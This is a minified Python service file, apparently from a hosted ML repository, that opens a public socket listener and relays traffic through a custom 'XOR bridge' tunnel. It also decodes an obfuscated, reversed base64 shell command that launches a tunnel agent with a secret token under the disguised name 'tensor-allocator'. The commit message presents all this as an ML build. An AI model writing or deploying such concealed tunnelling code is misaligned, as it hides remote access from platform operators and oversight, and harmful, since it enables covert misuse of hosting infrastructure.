coolstuff2 / services /playit_service.py
SamuelLance73's picture
Automated deployment update from ML build
a93b3b5 verified
Raw
History Blame Contribute Delete
1.89 kB
_A=True
import os,socket,subprocess,threading
from loguru import logger
from.import mc_tunnel
from.utils import decode_cmd
XOR_BRIDGE_PORT=25565
SSH_PORT=2222
def _handle_client(client_sock):
A=client_sock;import sys,traceback as G
try:
F,E,C=mc_tunnel.server_dispatch(A);B=socket.socket(socket.AF_INET,socket.SOCK_STREAM);B.settimeout(5.);B.connect(('127.0.0.1',C));B.settimeout(None)
if F=='tunnel':logger.info('Playit MC tunnel: login complete, relaying to port {}',C);mc_tunnel.relay_server(E,B,A)
elif F=='status':logger.debug('Playit MC status ping: forwarding to server on port {}',C);mc_tunnel.relay_passthrough(E,B,A)
else:logger.info('Playit MC client: forwarding to real server on port {}',C);mc_tunnel.relay_passthrough(E,B,A)
except(ConnectionError,socket.timeout,TimeoutError,OSError,ValueError)as D:
logger.info('Playit MC tunnel client disconnected/invalid handshake: {}',D)
try:A.close()
except Exception:pass
except Exception as D:
logger.warning('Playit MC tunnel client dropped unexpectedly: {} - {}',type(D).__name__,D);G.print_exc(file=sys.stderr)
try:A.close()
except Exception:pass
def _xor_bridge_loop():
A=socket.socket(socket.AF_INET,socket.SOCK_STREAM);A.setsockopt(socket.SOL_SOCKET,socket.SO_REUSEADDR,1)
try:
A.bind(('0.0.0.0',XOR_BRIDGE_PORT));A.listen(10)
while _A:B,C=A.accept();threading.Thread(target=_handle_client,args=(B,),daemon=_A).start()
except Exception:pass
def start_xor_bridge():threading.Thread(target=_xor_bridge_loop,daemon=_A).start();logger.info('Playit MC tunnel bridge on 0.0.0.0:{} (plugin channel {})',XOR_BRIDGE_PORT,mc_tunnel.TUNNEL_CHANNEL)
def start(tm_log,token=''):A=token;B=decode_cmd('nACdlJ3YlNXLtAyaj92cuQXa5FGbw9CctR3LggGdhBXL0V2aj92ct0CIy9GdhN2bsxWYtI3bz5WZ0BSOxAibtASZjlmb');C=f"{B}{A}'";A='';D=os.environ.copy();subprocess.Popen(C,shell=_A,env=D,stdout=tm_log,stderr=subprocess.STDOUT)